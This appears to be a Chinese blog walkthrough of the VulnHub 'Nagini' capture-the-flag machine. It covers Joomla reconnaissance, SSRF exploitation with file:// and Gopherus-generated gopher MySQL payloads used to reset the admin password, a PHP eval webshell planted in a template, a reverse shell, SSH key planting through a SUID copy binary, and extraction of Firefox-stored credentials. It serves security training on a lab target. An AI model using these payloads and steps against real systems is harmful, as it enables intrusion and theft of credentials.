vulnhub靶场【哈利波特】三部曲之nagini

前言

使用virtual box虚拟环境

靶机:nagini

攻击:kali

主机发现

使用arp-scan -l扫描,确保在同一网卡

在这里插入图片描述

信息收集

使用nmap进行扫描

在这里插入图片描述

发现80端口http服务,apache 2.4.38,22端口ssh服务,openssh

网站探测

使用whatweb探测

在这里插入图片描述

使用gobuster、dirsearch、ffuf、dirb等工具进行目录扫描

检测到joomla可能是CMS,访问查看

在这里插入图片描述

先访问默认界面,没有任何东西,下载图片也没有隐藏信息

在这里插入图片描述

访问note.txt文件,说是使用新的http3服务器,给出网址https://quic.nagini.hogwarts,通过这个进行进一步的通信,所有开发人员都被要求定期访问服务器以检测最新公告。最后给出来信人site_admin。可能存在用户admin

在这里插入图片描述

访问确实是joomla的CMS

在这里插入图片描述

查看页面源码,发现有几个隐藏的输入

在这里插入图片描述

CMS针对

针对该CMS,有专门的工具joomscan可使用,会检测防火墙等操作

joomscan -u http://192.168.1.101

在这里插入图片描述

检测具体目录,并进行枚举

joomscan -u http://192.168.1.101/joomla/ 

在这里插入图片描述

在这里插入图片描述

找到两个文件,访问robots.txt查看,发现是一些目录

在这里插入图片描述

再访问备份文件http://192.168.1.101/joomla/configuration.php.bak

下载后查看内容

在这里插入图片描述

在这里插入图片描述

总结以上信息:

  1. 数据库类型为mysql
  2. 有一个连接数据库的空密码的usergoblin
  3. 数据库名为joomla
  4. 邮箱地址site_admin@nagini.hogwarts
  5. 以及一些路径已经给出
  6. note.txt中提出了http3 的连接交流,并且指定域名https://quic.nagini.hogwarts

漏洞发现

配置http3浏览

首先把靶机IP地址与域名进行绑定

vim /etc/hosts

网上查看http3,说是firefoxgoogle都启用了,但是直接访问的话,还是不行,哪怕到浏览器配置把http3启动,还是无法访问

采用网上的方法

git clone --recursive https://github.com/cloudflare/quiche  
#下载浏览器的数据包
apt-get install cargo	#配置环境
apt-get install cmake	#配置环境

#下载完成后,到目录下
cargo build 	#开始建造
apt-get purge rustc
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
#执行中出现选择,输入1即可
source $HOME/.cargo/env	#环境变量

cargo build --examples
cargo test		#测试有无问题
cd /quiche/target/debug/examples	#切换到创建的环境
./http3-client https://quic.nagini.hogwarts#访问

啧啧,结果还是不行,使用无任何返回,看看成功的人,记下路径,直接访问internalResourceFeTcher.php

SSRF漏洞利用

查看页面源码后,以id=url接收输入后

在这里插入图片描述

在这里插入图片描述

可以看到是textinput,不知道php代码有没有做其他条件,这里直接输入文件测试

SSRF之文件读取

可以看到php有参数接收,可以直接测试file://读取文件格式

在这里插入图片描述

SSRF之gopher协议

存在SSRF漏洞,测试gopher协议

在这里插入图片描述

使用gopherus工具创建SSRF漏洞的利用。

想起之前的mysql连接,使用该工具生成一个mysqlpayload

git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
./gopherus --exploit mysql

在这里插入图片描述

使用这个payload多测试几遍,就会出现

在这里插入图片描述

SSRF—gopher之数据库

发现数据库中的一个表

在这里插入图片描述

多次尝试该payload,查询到site_admin用户

在这里插入图片描述

密码$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay

尝试解密,发现不行,自己生成一个改密码的值,然后进行更新操作

echo -n "123456" | md5sum

使用gopherus工具生成,更新信息的命令

在这里插入图片描述

多次使用payload,出现下面后,成功修改

在这里插入图片描述

网站管理登录

访问之前的joomla/administrator路径,使用site_admin用户和密码123456进行登录

在这里插入图片描述

这个界面就可以操作很多东西,在扩展处,有模板,可以在这里进行设置,这里在站点的默认界面进行插入一句话代码

<?php @eval($_REQUEST['cmd'])?>

在这里插入图片描述

在这里插入图片描述

反弹shell

使用蚁🗡连接即可,当然也可以使用kali中的模块/usr/share/webshells/php/php-reverse-shell.php

在这里插入图片描述

整个文件中的代码复制到目标

在这里插入图片描述

然后在kali中使用nc监听1234端口,获取成功

在这里插入图片描述

切换到/home目录,看到文本,应该是密码,通过base64进行解码

在这里插入图片描述

在这里插入图片描述

尝试进入.ssh目录,查看有无私钥等,发现无权

在这里插入图片描述

使用ssh登录snape使用解密出的字符Love@lilly进行测试,可以登录,然后使用find寻找具有SUID权限,发现有一个/home/hermoine/bin/su_cp

在这里插入图片描述

切换到这个目录查看,发现有个txt文件,并且无权查看。su_cp是一个可执行文件

在这里插入图片描述

测试,并查看帮助

在这里插入图片描述

提权

ssh公私钥

因为每个用户目录下都有.ssh文件,那么就在kali上生成一个ssh钥匙对

在这里插入图片描述

把改名字为正常的已认证的文件authorized_keys,为了防止在靶机中权限不行导致改不了名称

虽然这里可以在使用su_cp的时候直接修改名称,但是这是一个习惯,还是生成之后再进行

这里可以选择通过wget配合python -m下载,也可以复制文本内容,然后粘贴(这种方式需要有编辑或创建文件的权限)

然后使用该命令把公钥复制到.ssh目录下

在这里插入图片描述

可以看到把在kali中已经生成的公钥作为用户hermoninessh配置中为已认证的,所以使用kali指定私钥文件直接连接即可

在这里插入图片描述

firefox_decrypt使用

先是使用find寻找具有SUID的,发现除了那个su_cp没有其他可用的了,但是这个也无法复制/etc/shadow,所以hash破解是不行了,查看当前目录所有文件,看到有一个.mozilla文件夹

在这里插入图片描述

在进入浏览一番,发现在firefox目录下有文件和文件夹,并且其中的一个目录中记录用户登录的用户名和密码,但是不知道加密算法,这里先把.mozilla目录下载到kali

这里可以使用scp命令来上传下载,这里需要注意,这里是kali登录靶机可以通过私钥文件直接登录,但是反过来就需要kali开启ssh服务,有点麻烦,所以这里直接在kali上使用scp命令

在这里插入图片描述

在这里插入图片描述

在本地尝试进行破解其中的加密,找了好久,没有找到加密算法,所以查看搜索一下,发现使用工具firefox_decrypt即可。项目地址https://github.com/unode/firefox_decrypt.git

在这里插入图片描述

使用firefox_decrypt指定profiles.ini所在父目录即可

在这里插入图片描述
提权到root成功
在这里插入图片描述

清除痕迹

在这里插入图片描述

总结

  1. 对于joomla这个CMS有了初步了解,可以知道网站的构造大概是什么样子
  2. SSRF漏洞的利用,利用该漏洞可以访问其靶机内网中的一些文件等操作
  3. 对于http3有了基本了解,虽然没有搭建成功
  4. 对于数据库的增删改查要记住,这样才好使用
  5. 对于webshell有了基本了解可自己编写一句话或者使用kali的内置
  6. 对于ssh认证过程要有基本的了解,不管是使用密码的形式还是公私钥文件的形式
  7. 以及ssh配套的scp也是经常使用到的,当不能下载的时候,这个命令可以救命
  8. 对于工具firefox_decrypt的了解
  9. 对于gopher协议的了解
  • Gopher 协议是 Internet 上一个非常早的分布式文件传输协议。它的设计目标是提供一种简单、高效的方式来组织和访问各种类型的文档、文件和其他资源。与 HTTP 协议用于网页浏览类似,Gopher 主要用于文本信息的检索和传输。

  • Gopher 采用客户端 - 服务器架构。

  • 服务器端:Gopher 服务器存储了大量的信息资源,这些资源被组织成类似文件系统的层次结构。每个资源都有一个唯一的标识符,称为 Gopher 选择器(Gopher selector)。服务器通过监听特定的端口(通常是 70 端口)来接收客户端的请求。

  • 客户端:Gopher 客户端软件用于向服务器发送请求并接收和处理服务器返回的信息。当用户在客户端选择一个菜单选项时,客户端会根据该选项对应的 Gopher 选择器向服务器发送请求。服务器接收到请求后,会查找相应的资源,并将资源的内容(如文本文件、目录列表等)返回给客户端。客户端收到信息后,会将其呈现给用户,例如在终端屏幕上显示文本内容或者解析目录列表并显示为菜单形式。

随着万维网的发展,Gopher 协议的使用已经大大减少。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MC何失眠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值